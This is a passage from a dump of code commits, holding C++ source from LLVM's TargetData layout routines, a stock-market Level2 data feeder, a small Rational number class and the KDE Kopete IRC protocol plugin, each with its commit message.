TargetData::getTypeSize(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Size;\n}\n\nunsigned char TargetData::getTypeAlignment(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Align;\n}\n\nunsigned char TargetData::getTypeAlignmentShift(const Type *Ty) const {\n unsigned Align = getTypeAlignment(Ty);\n assert(!(Align & (Align-1)) && \"Alignment is not a power of two!\");\n return Log2_32(Align);\n}\n\n\/\/\/ getIntPtrType - Return an unsigned integer type that is the same size or\n\/\/\/ greater to the host pointer size.\nconst Type *TargetData::getIntPtrType() const {\n switch (getPointerSize()) {\n default: assert(0 && \"Unknown pointer size!\");\n case 2: return Type::UShortTy;\n case 4: return Type::UIntTy;\n case 8: return Type::ULongTy;\n }\n}\n\n\nuint64_t TargetData::getIndexedOffset(const Type *ptrTy,\n const std::vector<Value*> &Idx) const {\n const Type *Ty = ptrTy;\n assert(isa<PointerType>(Ty) && \"Illegal argument for getIndexedOffset()\");\n uint64_t Result = 0;\n\n generic_gep_type_iterator<std::vector<Value*>::const_iterator>\n TI = gep_type_begin(ptrTy, Idx.begin(), Idx.end());\n for (unsigned CurIDX = 0; CurIDX != Idx.size(); ++CurIDX, ++TI) {\n if (const StructType *STy = dyn_cast<StructType>(*TI)) {\n assert(Idx[CurIDX]->getType() == Type::UIntTy && \"Illegal struct idx\");\n unsigned FieldNo = cast<ConstantUInt>(Idx[CurIDX])->getValue();\n\n \/\/ Get structure layout information...\n const StructLayout *Layout = getStructLayout(STy);\n\n \/\/ Add in the offset, as calculated by the structure layout info...\n assert(FieldNo < Layout->MemberOffsets.size() &&\"FieldNo out of range!\");\n Result += Layout->MemberOffsets[FieldNo];\n\n \/\/ Update Ty to refer to current element\n Ty = STy->getElementType(FieldNo);\n } else {\n \/\/ Update Ty to refer to current element\n Ty = cast<SequentialType>(Ty)->getElementType();\n\n \/\/ Get the array index and the size of each array element.\n int64_t arrayIdx = cast<ConstantInt>(Idx[CurIDX])->getRawValue();\n Result += arrayIdx * (int64_t)getTypeSize(Ty);\n }\n }\n\n return Result;\n}\n\n<commit_msg>Fix a stupid bug when parsing TargetData strings.<commit_after>\/\/===-- TargetData.cpp - Data size & alignment routines --------------------==\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines target properties related to datatype size\/offset\/alignment\n\/\/ information.\n\/\/\n\/\/ This structure should be created once, filled in if the defaults are not\n\/\/ correct and then passed around by const&. None of the members functions\n\/\/ require modification to the object.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Support\/GetElementPtrTypeIterator.h\"\n#include \"llvm\/Support\/MathExtras.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <algorithm>\n#include <cstdlib>\n#include <sstream>\nusing namespace llvm;\n\n\/\/ Handle the Pass registration stuff necessary to use TargetData's.\nnamespace {\n \/\/ Register the default SparcV9 implementation...\n RegisterPass<TargetData> X(\"targetdata\", \"Target Data Layout\");\n}\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n uint64_t &Size, unsigned char &Alignment);\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for StructLayout\n\/\/===----------------------------------------------------------------------===\/\/\n\nStructLayout::StructLayout(const StructType *ST, const TargetData &TD) {\n StructAlignment = 0;\n StructSize = 0;\n\n \/\/ Loop over each of the elements, placing them in memory...\n for (StructType::element_iterator TI = ST->element_begin(),\n TE = ST->element_end(); TI != TE; ++TI) {\n const Type *Ty = *TI;\n unsigned char A;\n unsigned TyAlign;\n uint64_t TySize;\n getTypeInfo(Ty, &TD, TySize, A);\n TyAlign = A;\n\n \/\/ Add padding if necessary to make the data element aligned properly...\n if (StructSize % TyAlign != 0)\n StructSize = (StructSize\/TyAlign + 1) * TyAlign; \/\/ Add padding...\n\n \/\/ Keep track of maximum alignment constraint\n StructAlignment = std::max(TyAlign, StructAlignment);\n\n MemberOffsets.push_back(StructSize);\n StructSize += TySize; \/\/ Consume space for this data item\n }\n\n \/\/ Empty structures have alignment of 1 byte.\n if (StructAlignment == 0) StructAlignment = 1;\n\n \/\/ Add padding to the end of the struct so that it could be put in an array\n \/\/ and all array elements would be aligned correctly.\n if (StructSize % StructAlignment != 0)\n StructSize = (StructSize\/StructAlignment + 1) * StructAlignment;\n}\n\n\n\/\/\/ getElementContainingOffset - Given a valid offset into the structure,\n\/\/\/ return the structure index that contains it.\nunsigned StructLayout::getElementContainingOffset(uint64_t Offset) const {\n std::vector<uint64_t>::const_iterator SI =\n std::upper_bound(MemberOffsets.begin(), MemberOffsets.end(),\n Offset);\n assert(SI != MemberOffsets.begin() && \"Offset not in structure type!\");\n --SI;\n assert(*SI <= Offset && \"upper_bound didn't work\");\n assert((SI == MemberOffsets.begin() || *(SI-1) < Offset) &&\n (SI+1 == MemberOffsets.end() || *(SI+1) > Offset) &&\n \"Upper bound didn't work!\");\n return SI-MemberOffsets.begin();\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ TargetData Class Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nTargetData::TargetData(const std::string &TargetName,\n bool isLittleEndian, unsigned char PtrSize,\n unsigned char PtrAl, unsigned char DoubleAl,\n unsigned char FloatAl, unsigned char LongAl,\n unsigned char IntAl, unsigned char ShortAl,\n unsigned char ByteAl, unsigned char BoolAl) {\n\n \/\/ If this assert triggers, a pass \"required\" TargetData information, but the\n \/\/ top level tool did not provide one for it. We do not want to default\n \/\/ construct, or else we might end up using a bad endianness or pointer size!\n \/\/\n assert(!TargetName.empty() &&\n \"ERROR: Tool did not specify a target data to use!\");\n\n LittleEndian = isLittleEndian;\n PointerSize = PtrSize;\n PointerAlignment = PtrAl;\n DoubleAlignment = DoubleAl;\n FloatAlignment = FloatAl;\n LongAlignment = LongAl;\n IntAlignment = IntAl;\n ShortAlignment = ShortAl;\n ByteAlignment = ByteAl;\n BoolAlignment = BoolAl;\n}\n\nTargetData::TargetData(const std::string &TargetName,\n const std::string &TargetDescription) {\n std::string temp = TargetDescription;\n \n LittleEndian = false;\n PointerSize = 8;\n PointerAlignment = 8;\n DoubleAlignment = 8;\n FloatAlignment = 4;\n LongAlignment = 8;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n BoolAlignment = 1;\n \n while (temp.length() > 0) {\n std::string token = getToken(temp, \"-\");\n \n char signal = getToken(token, \":\")[0];\n \n switch(signal) {\n case 'E':\n LittleEndian = false;\n break;\n case 'e':\n LittleEndian = true;\n break;\n case 'p':\n PointerSize = atoi(getToken(token,\":\").c_str()) \/ 8;\n PointerAlignment = atoi(getToken(token,\":\").c_str()) \/ 8;\n break;\n case 'd':\n token = getToken(token,\":\"); \/\/Ignore the size\n DoubleAlignment = atoi(getToken(token,\":\").c_str()) \/ 8;\n break;\n case 'f':\n token = getToken(token, \":\"); \/\/Ignore the size\n FloatAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'l':\n token = getToken(token, \":\"); \/\/Ignore the size\n LongAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'i':\n token = getToken(token, \":\"); \/\/Ignore the size\n IntAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 's':\n token = getToken(token, \":\"); \/\/Ignore the size\n ShortAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'b':\n token = getToken(token, \":\"); \/\/Ignore the size\n ByteAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n case 'B':\n token = getToken(token, \":\"); \/\/Ignore the size\n BoolAlignment = atoi(getToken(token, \":\").c_str()) \/ 8;\n break;\n default:\n break;\n }\n }\n}\n\nTargetData::TargetData(const std::string &ToolName, const Module *M) {\n LittleEndian = M->getEndianness() != Module::BigEndian;\n PointerSize = M->getPointerSize() != Module::Pointer64 ? 4 : 8;\n PointerAlignment = PointerSize;\n DoubleAlignment = PointerSize;\n FloatAlignment = 4;\n LongAlignment = PointerSize;\n IntAlignment = 4;\n ShortAlignment = 2;\n ByteAlignment = 1;\n BoolAlignment = 1;\n}\n\n\/\/\/ Layouts - The lazy cache of structure layout information maintained by\n\/\/\/ TargetData.\n\/\/\/\nstatic std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout> *Layouts = 0;\n\n\nTargetData::~TargetData() {\n if (Layouts) {\n \/\/ Remove any layouts for this TD.\n std::map<std::pair<const TargetData*,\n const StructType*>, StructLayout>::iterator\n I = Layouts->lower_bound(std::make_pair(this, (const StructType*)0));\n while (I != Layouts->end() && I->first.first == this)\n Layouts->erase(I++);\n if (Layouts->empty()) {\n delete Layouts;\n Layouts = 0;\n }\n }\n}\n\nstd::string TargetData::getStringRepresentation() const {\n std::stringstream repr;\n \n if (LittleEndian)\n repr << \"e\";\n else\n repr << \"E\";\n \n repr << \"-p:\" << (PointerSize * 8) << \":\" << (PointerAlignment * 8);\n repr << \"-d:64:\" << (DoubleAlignment * 8);\n repr << \"-f:32:\" << (FloatAlignment * 8);\n repr << \"-l:64:\" << (LongAlignment * 8);\n repr << \"-i:32:\" << (IntAlignment * 8);\n repr << \"-s:16:\" << (ShortAlignment * 8);\n repr << \"-b:8:\" << (ByteAlignment * 8);\n repr << \"-B:8:\" << (BoolAlignment * 8);\n \n return repr.str();\n}\n\nconst StructLayout *TargetData::getStructLayout(const StructType *Ty) const {\n if (Layouts == 0)\n Layouts = new std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>();\n std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>::iterator\n I = Layouts->lower_bound(std::make_pair(this, Ty));\n if (I != Layouts->end() && I->first.first == this && I->first.second == Ty)\n return &I->second;\n else {\n return &Layouts->insert(I, std::make_pair(std::make_pair(this, Ty),\n StructLayout(Ty, *this)))->second;\n }\n}\n\n\/\/\/ InvalidateStructLayoutInfo - TargetData speculatively caches StructLayout\n\/\/\/ objects. If a TargetData object is alive when types are being refined and\n\/\/\/ removed, this method must be called whenever a StructType is removed to\n\/\/\/ avoid a dangling pointer in this cache.\nvoid TargetData::InvalidateStructLayoutInfo(const StructType *Ty) const {\n if (!Layouts) return; \/\/ No cache.\n\n std::map<std::pair<const TargetData*,const StructType*>,\n StructLayout>::iterator I = Layouts->find(std::make_pair(this, Ty));\n if (I != Layouts->end())\n Layouts->erase(I);\n}\n\n\n\nstatic inline void getTypeInfo(const Type *Ty, const TargetData *TD,\n uint64_t &Size, unsigned char &Alignment) {\n assert(Ty->isSized() && \"Cannot getTypeInfo() on a type that is unsized!\");\n switch (Ty->getTypeID()) {\n case Type::BoolTyID: Size = 1; Alignment = TD->getBoolAlignment(); return;\n case Type::VoidTyID:\n case Type::UByteTyID:\n case Type::SByteTyID: Size = 1; Alignment = TD->getByteAlignment(); return;\n case Type::UShortTyID:\n case Type::ShortTyID: Size = 2; Alignment = TD->getShortAlignment(); return;\n case Type::UIntTyID:\n case Type::IntTyID: Size = 4; Alignment = TD->getIntAlignment(); return;\n case Type::ULongTyID:\n case Type::LongTyID: Size = 8; Alignment = TD->getLongAlignment(); return;\n case Type::FloatTyID: Size = 4; Alignment = TD->getFloatAlignment(); return;\n case Type::DoubleTyID: Size = 8; Alignment = TD->getDoubleAlignment(); return;\n case Type::LabelTyID:\n case Type::PointerTyID:\n Size = TD->getPointerSize(); Alignment = TD->getPointerAlignment();\n return;\n case Type::ArrayTyID: {\n const ArrayType *ATy = cast<ArrayType>(Ty);\n getTypeInfo(ATy->getElementType(), TD, Size, Alignment);\n unsigned AlignedSize = (Size + Alignment - 1)\/Alignment*Alignment;\n Size = AlignedSize*ATy->getNumElements();\n return;\n }\n case Type::PackedTyID: {\n const PackedType *PTy = cast<PackedType>(Ty);\n getTypeInfo(PTy->getElementType(), TD, Size, Alignment);\n unsigned AlignedSize = (Size + Alignment - 1)\/Alignment*Alignment;\n Size = AlignedSize*PTy->getNumElements();\n \/\/ FIXME: The alignments of specific packed types are target dependent.\n \/\/ For now, just set it to be equal to Size.\n Alignment = Size;\n return;\n }\n case Type::StructTyID: {\n \/\/ Get the layout annotation... which is lazily created on demand.\n const StructLayout *Layout = TD->getStructLayout(cast<StructType>(Ty));\n Size = Layout->StructSize; Alignment = Layout->StructAlignment;\n return;\n }\n\n default:\n assert(0 && \"Bad type for getTypeInfo!!!\");\n return;\n }\n}\n\nuint64_t TargetData::getTypeSize(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Size;\n}\n\nunsigned char TargetData::getTypeAlignment(const Type *Ty) const {\n uint64_t Size;\n unsigned char Align;\n getTypeInfo(Ty, this, Size, Align);\n return Align;\n}\n\nunsigned char TargetData::getTypeAlignmentShift(const Type *Ty) const {\n unsigned Align = getTypeAlignment(Ty);\n assert(!(Align & (Align-1)) && \"Alignment is not a power of two!\");\n return Log2_32(Align);\n}\n\n\/\/\/ getIntPtrType - Return an unsigned integer type that is the same size or\n\/\/\/ greater to the host pointer size.\nconst Type *TargetData::getIntPtrType() const {\n switch (getPointerSize()) {\n default: assert(0 && \"Unknown pointer size!\");\n case 2: return Type::UShortTy;\n case 4: return Type::UIntTy;\n case 8: return Type::ULongTy;\n }\n}\n\n\nuint64_t TargetData::getIndexedOffset(const Type *ptrTy,\n const std::vector<Value*> &Idx) const {\n const Type *Ty = ptrTy;\n assert(isa<PointerType>(Ty) && \"Illegal argument for getIndexedOffset()\");\n uint64_t Result = 0;\n\n generic_gep_type_iterator<std::vector<Value*>::const_iterator>\n TI = gep_type_begin(ptrTy, Idx.begin(), Idx.end());\n for (unsigned CurIDX = 0; CurIDX != Idx.size(); ++CurIDX, ++TI) {\n if (const StructType *STy = dyn_cast<StructType>(*TI)) {\n assert(Idx[CurIDX]->getType() == Type::UIntTy && \"Illegal struct idx\");\n unsigned FieldNo = cast<ConstantUInt>(Idx[CurIDX])->getValue();\n\n \/\/ Get structure layout information...\n const StructLayout *Layout = getStructLayout(STy);\n\n \/\/ Add in the offset, as calculated by the structure layout info...\n assert(FieldNo < Layout->MemberOffsets.size() &&\"FieldNo out of range!\");\n Result += Layout->MemberOffsets[FieldNo];\n\n \/\/ Update Ty to refer to current element\n Ty = STy->getElementType(FieldNo);\n } else {\n \/\/ Update Ty to refer to current element\n Ty = cast<SequentialType>(Ty)->getElementType();\n\n \/\/ Get the array index and the size of each array element.\n int64_t arrayIdx = cast<ConstantInt>(Idx[CurIDX])->getRawValue();\n Result += arrayIdx * (int64_t)getTypeSize(Ty);\n }\n }\n\n return Result;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <sstream>\n#include <iostream>\n#include <cstring>\n#include \"datafeeder.h\"\n\nvoid DataFeeder::init()\n{\n m_pLevel2Api->RegisterSpi(this);\n m_pLevel2Api->RegisterFront(const_cast<char*>(this->front_address.c_str()));\n \/\/ 使客户端开始与后台服务建立连接\n m_pLevel2Api->Init();\n}\n\nvoid DataFeeder::OnFrontConnected()\n{\n\tCThostFtdcReqUserLoginField reqUserLogin;\n strcpy(reqUserLogin.BrokerID, this->brokerID.c_str());\n strcpy(reqUserLogin.UserID, this->userID.c_str());\n strcpy(reqUserLogin.Password, this->passwd.c_str());\n m_pLevel2Api->ReqUserLogin(&reqUserLogin, 0);\n}\n\nvoid DataFeeder::OnRspUserLogin(CThostFtdcRspUserLoginField *pRspUserLogin, CThostFtdcRspInfoField *pRspInfo, int nRequestID, bool bIsLast)\n{\n std::cout << \"OnRspUserLogin:\\t\" << \"ErrorCode=[\" << pRspInfo->ErrorID << \"], ErrorMsg=[\" << pRspInfo->ErrorMsg << \"]\" << std::endl;\n if (pRspInfo->ErrorID != 0)\n std::cout << \"Error: Login Error!\" << std::endl;\n}\n\nvoid DataFeeder::subscrib_L2_market_data(std::string stockid)\n{\n\tCThostFtdcSpecificSecurityField query;\n\tmemset(&query, 0, sizeof(query));\n\tstd::string security_id = stockid.substr(2);\n\tstd::string exchange_id = this->ExchangeIDDict[ stockid.substr(0,2) ];\n\tstrcpy(query.SecurityID, security_id.c_str());\n\tstrcpy(query.ExchangeID, exchange_id.c_str());\n\n\tm_pLevel2Api->SubscribeLevel2MarketData(&query, 1);\n}\n\nvoid DataFeeder::OnRtnLevel2MarketData(CThostFtdcLevel2MarketDataField *pLevel2MarketData)\n{\n\tstd::ostringstream oss;\n\tCThostFtdcLevel2MarketDataField *p = pLevel2MarketData;\n\tstd::string stockid = this->ExchangeIDDict_Reverse[p->ExchangeID] + p->SecurityID;\n\n\toss << stockid << ',' << p->OpenPx << ',' << p->PreClosePx << ',' << p->LastPx << ',' << p->HighPx << ',' << p->LowPx << ',' \n\t\t<< p->TotalVolumeTrade << ',' << p->TotalValueTrade << ',' \n\t\t<< p->BidPx1 << ',' << p->BidOrderQty1 << ',' << p->BidPx2 << ',' << p->BidOrderQty2 << ',' << p->BidPx3 << ',' << p->BidOrderQty3 << ',' \n\t\t<< p->OfferPx1 << ',' << p->OfferOrderQty1 << ',' << p->OfferPx2 << ',' << p->OfferOrderQty2 << ',' << p->OfferPx3 << ',' << p->OfferOrderQty3 << ',' \n\t\t<< p->TradingDay << ',' << p->DataTimeStamp;\n\n\tstock_datas[stockid] = oss.str();\n\/\/\tstd::cout << stock_datas[stockid] << std::endl;\n}\n\nstd::string DataFeeder::get_L2_market_data(std::string stockid)\n{\n\treturn this->stock_datas[stockid];\n}\n\n<commit_msg>Delete datafeeder.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <sstream>\n#include <string>\n\nusing namespace std;\n\nclass Rational\n{\n int a, b;\n\n int gcd(int a, int b);\n void simplify();\n bool check(const Rational& f);\npublic:\n Rational(int a=0, int b=1) : a(a) , b(b) {\n if (b == 0)\n return;\n simplify();\n };\n\n Rational& operator= (const Rational& f);\n\n Rational& Add(const Rational& f);\n Rational& Substract(const Rational& f);\n Rational& Multiply(const Rational& f);\n Rational& Divide(const Rational& f);\n\n bool EqualTo(const Rational& f) const;\n int CompareTo(const Rational& f) const;\n\n bool IsInteger() const;\n\n string ToString() const;\n};\n\nint Rational::gcd (int a, int b)\n{\n int c;\n while (b) {\n c = b;\n b = a % b;\n a = c;\n }\n return a;\n}\n\nvoid Rational::simplify()\n{\n int c;\n while ((c = gcd(a, b)) != 1) {\n if (c == 0)\n break;\n a \/= c;\n b \/= c;\n }\n}\n\nbool Rational::check(const Rational& f)\n{\n if (b == 0 || f.b == 0) {\n b = 0;\n return true;\n }\n return false;\n}\n\nRational& Rational::operator= (const Rational& f)\n{\n if (this != &f) {\n a = f.a;\n b = f.b;\n }\n return *this;\n}\n\nRational& Rational::Add(const Rational& f)\n{\n check(f);\n a = a * f.b + b * f.a;\n b = b * f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Substract(const Rational& f)\n{\n check(f);\n a = a * f.b - b * f.a;\n b = b * f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Multiply(const Rational& f)\n{\n check(f);\n a *= f.a;\n b *= f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Divide(const Rational& f)\n{\n check(f);\n a *= f.b;\n b *= f.a;\n simplify();\n return *this;\n}\n\nbool Rational::EqualTo(const Rational& f) const\n{\n if (f.a == a && f.b == b)\n return true;\n else\n return false;\n}\n\nint Rational::CompareTo(const Rational& f) const\n{\n int c = a * f.b;\n int d = b * f.a;\n\n if (c > d)\n return 1;\n if (c < d)\n return -1;\n return 0;\n}\n\nbool Rational::IsInteger() const\n{\n if (b == 1)\n return true;\n return false;\n}\n\nstring Rational::ToString() const\n{\n stringstream ss;\n if (b == 0) {\n if (a >= 0)\n return \"+NAN\";\n if (a < 0)\n return \"-NAN\";\n } else {\n ss << a << \"\/\" << b;\n }\n return ss.str();\n}\n\nconst Rational a(1,1);\n\nint main()\n{\n Rational q = Rational(1, 3), w(1, 4);\n Rational s = 4;\n\/\/ a.CompareTo(s);\n w = q;\n\n s.Add(q);\n cout << s.ToString() << endl;\n\n s.Substract(q);\n cout << s.ToString() << endl;\n\n s.Multiply(q);\n cout << s.ToString() << endl;\n\n s.Divide(q);\n cout << s.ToString() << endl;\n\n s.Add(q).Multiply(w);\n cout << s.ToString() << endl;\n\n s.EqualTo(w);\n s.CompareTo(w);\n\n s.IsInteger();\n\n cout << s.ToString() << endl;\n\/\/ cout << q.ToString() << endl;\n\/\/ cout << w.ToString() << endl;\n\n\n return 0;\n}\n\n\n<commit_msg>chmod -x<commit_after>#include <iostream>\n#include <sstream>\n#include <string>\n\nusing namespace std;\n\nclass Rational\n{\n int a, b;\n\n int gcd(int a, int b);\n void simplify();\n bool check(const Rational& f);\npublic:\n Rational(int a=0, int b=1) : a(a) , b(b) {\n if (b == 0)\n return;\n simplify();\n };\n\n Rational& operator= (const Rational& f);\n\n Rational& Add(const Rational& f);\n Rational& Substract(const Rational& f);\n Rational& Multiply(const Rational& f);\n Rational& Divide(const Rational& f);\n\n bool EqualTo(const Rational& f) const;\n int CompareTo(const Rational& f) const;\n\n bool IsInteger() const;\n\n string ToString() const;\n};\n\nint Rational::gcd (int a, int b)\n{\n int c;\n while (b) {\n c = b;\n b = a % b;\n a = c;\n }\n return a;\n}\n\nvoid Rational::simplify()\n{\n int c;\n while ((c = gcd(a, b)) != 1) {\n if (c == 0)\n break;\n a \/= c;\n b \/= c;\n }\n}\n\nbool Rational::check(const Rational& f)\n{\n if (b == 0 || f.b == 0) {\n b = 0;\n return true;\n }\n return false;\n}\n\nRational& Rational::operator= (const Rational& f)\n{\n if (this != &f) {\n a = f.a;\n b = f.b;\n }\n return *this;\n}\n\nRational& Rational::Add(const Rational& f)\n{\n check(f);\n a = a * f.b + b * f.a;\n b = b * f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Substract(const Rational& f)\n{\n check(f);\n a = a * f.b - b * f.a;\n b = b * f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Multiply(const Rational& f)\n{\n check(f);\n a *= f.a;\n b *= f.b;\n simplify();\n return *this;\n}\n\nRational& Rational::Divide(const Rational& f)\n{\n check(f);\n a *= f.b;\n b *= f.a;\n simplify();\n return *this;\n}\n\nbool Rational::EqualTo(const Rational& f) const\n{\n if (f.a == a && f.b == b)\n return true;\n else\n return false;\n}\n\nint Rational::CompareTo(const Rational& f) const\n{\n int c = a * f.b;\n int d = b * f.a;\n\n if (c > d)\n return 1;\n if (c < d)\n return -1;\n return 0;\n}\n\nbool Rational::IsInteger() const\n{\n if (b == 1)\n return true;\n return false;\n}\n\nstring Rational::ToString() const\n{\n stringstream ss;\n if (b == 0) {\n if (a >= 0)\n return \"+NAN\";\n if (a < 0)\n return \"-NAN\";\n } else {\n ss << a << \"\/\" << b;\n }\n return ss.str();\n}\n\nconst Rational a(1,1);\n\nint main()\n{\n Rational q = Rational(1, 3), w(1, 4);\n Rational s = 4;\n\/\/ a.CompareTo(s);\n w = q;\n\n s.Add(q);\n cout << s.ToString() << endl;\n\n s.Substract(q);\n cout << s.ToString() << endl;\n\n s.Multiply(q);\n cout << s.ToString() << endl;\n\n s.Divide(q);\n cout << s.ToString() << endl;\n\n s.Add(q).Multiply(w);\n cout << s.ToString() << endl;\n\n s.EqualTo(w);\n s.CompareTo(w);\n\n s.IsInteger();\n\n cout << s.ToString() << endl;\n\/\/ cout << q.ToString() << endl;\n\/\/ cout << w.ToString() << endl;\n\n\n return 0;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n ircprotocol - IRC Protocol\n\n Copyright (c) 2002 by Nick Betcher <nbetcher@kde.org>\n\n Kopete (c) 2002 by the Kopete developers <kopete-devel@kde.org>\n\n *************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n *************************************************************************\n*\/\n\n#include \"ircprotocol.h\"\n\n#include <qapplication.h>\n#include <qcursor.h>\n#include <qregexp.h>\n\n#include <kaction.h>\n#include <kconfig.h>\n#include <kdebug.h>\n#include <kgenericfactory.h>\n#include <kglobal.h>\n#include <kiconloader.h>\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <kpopupmenu.h>\n#include <ksimpleconfig.h>\n#include <kstandarddirs.h>\n\n#include \"ircadd.h\"\n#include \"ircidentity.h\"\n#include \"ircaddcontactpage.h\"\n#include \"ircpreferences.h\"\n#include \"kopetemetacontact.h\"\n#include \"ircchannelcontact.h\"\n#include \"kopeteidentitymanager.h\"\n#include \"irceditidentitywidget.h\"\n#include \"kirc.h\"\n\nK_EXPORT_COMPONENT_FACTORY( kopete_irc, KGenericFactory<IRCProtocol> );\n\nIRCProtocol::IRCProtocol( QObject *parent, const char *name,\n\tconst QStringList & \/* args *\/ )\n: KopeteProtocol( parent, name )\n{\n\tm_actionMenu = 0L;\n\tactionConnect = new KAction ( i18n(\"Online\"), \"\", 0, this, SLOT(connect()), this, \"actionIRCConnect\" );\n\tactionDisconnect = new KAction ( i18n(\"Offline\"), \"\", 0, this, SLOT(disconnect()), this, \"actionIRCDisconnect\" );\n\n\tkdDebug(14120) << k_funcinfo << endl;\n\t\/\/ Load all ICQ icons from KDE standard dirs\n\n\tsetStatusIcon( \"irc_protocol_offline\" );\n\n\tnew IRCPreferences(\"irc_protocol\", this);\n\n\tKConfig *cfg = KGlobal::config();\n\tcfg->setGroup(\"IRC\");\n\tidentity = new IRCIdentity( cfg->readEntry(\"Nickname\", \"KopeteUser\") + \"@\" + cfg->readEntry(\"Server\", \"irc.freenode.net\") + \":\" + cfg->readEntry(\"Port\", \"6667\"), this);\n}\n\nIRCProtocol::~IRCProtocol()\n{\n\t\/\/delete identity;\n}\n\nKActionMenu* IRCProtocol::protocolActions()\n{\n\tif (!m_actionMenu)\n\t{\n\t\tm_actionMenu = new KActionMenu( \"IRC\", this );\n\t\tm_actionMenu->popupMenu()->insertTitle(SmallIcon( \"irc_protocol_small\" ), i18n( \"IRC\" ) );\n\t\tm_actionMenu->insert(actionConnect);\n\t\tm_actionMenu->insert(actionDisconnect);\n\t}\n\treturn m_actionMenu;\n}\n\nvoid IRCProtocol::connect()\n{\n\tidentity->connect();\n}\n\nvoid IRCProtocol::disconnect()\n{\n\tidentity->disconnect();\n}\n\nconst QString IRCProtocol::protocolIcon()\n{\n\treturn \"irc_protocol_small\";\n}\n\nvoid IRCProtocol::init()\n{\n\n}\n\nAddContactPage *IRCProtocol::createAddContactWidget(QWidget *parent)\n{\n\treturn new IRCAddContactPage(this,parent);\n}\n\nEditIdentityWidget *IRCProtocol::createEditIdentityWidget(KopeteIdentity *identity, QWidget *parent)\n{\n\treturn new IRCEditIdentityWidget(this, static_cast<IRCIdentity*>(identity),parent);\n}\n\nKopeteIdentity *IRCProtocol::createNewIdentity(const QString &identityId)\n{\n\tif( !mIdentityMap.contains( identityId ) )\n\t{\n\t\tIRCIdentity *id = new IRCIdentity( identityId, this );\n\t\tmIdentityMap[ identityId ] = id;\n\t\tKopeteIdentityManager::manager()->registerIdentity( id );\n\t}\n\n\treturn mIdentityMap[ identityId ];\n}\n\nvoid IRCProtocol::deserializeContact( KopeteMetaContact *metaContact, const QMap<QString, QString> &serializedData,\n\tconst QMap<QString, QString> & \/* addressBookData *\/ )\n{\n\tQString contactId = serializedData[ \"contactId\" ];\n\tif( !contacts()[ contactId ] )\n\t{\n\t\tQString displayName = serializedData[ \"displayName\" ];\n\t\tif( displayName.isEmpty() )\n\t\t\tdisplayName = contactId;\n\n\t\tidentity->addContact( contactId, displayName, metaContact );\n\t}\n}\n\n#include \"ircprotocol.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<commit_msg>We don't need to do this it is taken care of<commit_after>\/*\n ircprotocol - IRC Protocol\n\n Copyright (c) 2002 by Nick Betcher <nbetcher@kde.org>\n\n Kopete (c) 2002 by the Kopete developers <kopete-devel@kde.org>\n\n *************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n *************************************************************************\n*\/\n\n#include \"ircprotocol.h\"\n\n#include <qapplication.h>\n#include <qcursor.h>\n#include <qregexp.h>\n\n#include <kaction.h>\n#include <kconfig.h>\n#include <kdebug.h>\n#include <kgenericfactory.h>\n#include <kglobal.h>\n#include <kiconloader.h>\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <kpopupmenu.h>\n#include <ksimpleconfig.h>\n#include <kstandarddirs.h>\n\n#include \"ircadd.h\"\n#include \"ircidentity.h\"\n#include \"ircaddcontactpage.h\"\n#include \"ircpreferences.h\"\n#include \"kopetemetacontact.h\"\n#include \"ircchannelcontact.h\"\n#include \"kopeteidentitymanager.h\"\n#include \"irceditidentitywidget.h\"\n#include \"kirc.h\"\n\nK_EXPORT_COMPONENT_FACTORY( kopete_irc, KGenericFactory<IRCProtocol> );\n\nIRCProtocol::IRCProtocol( QObject *parent, const char *name,\n\tconst QStringList & \/* args *\/ )\n: KopeteProtocol( parent, name )\n{\n\tm_actionMenu = 0L;\n\tactionConnect = new KAction ( i18n(\"Online\"), \"\", 0, this, SLOT(connect()), this, \"actionIRCConnect\" );\n\tactionDisconnect = new KAction ( i18n(\"Offline\"), \"\", 0, this, SLOT(disconnect()), 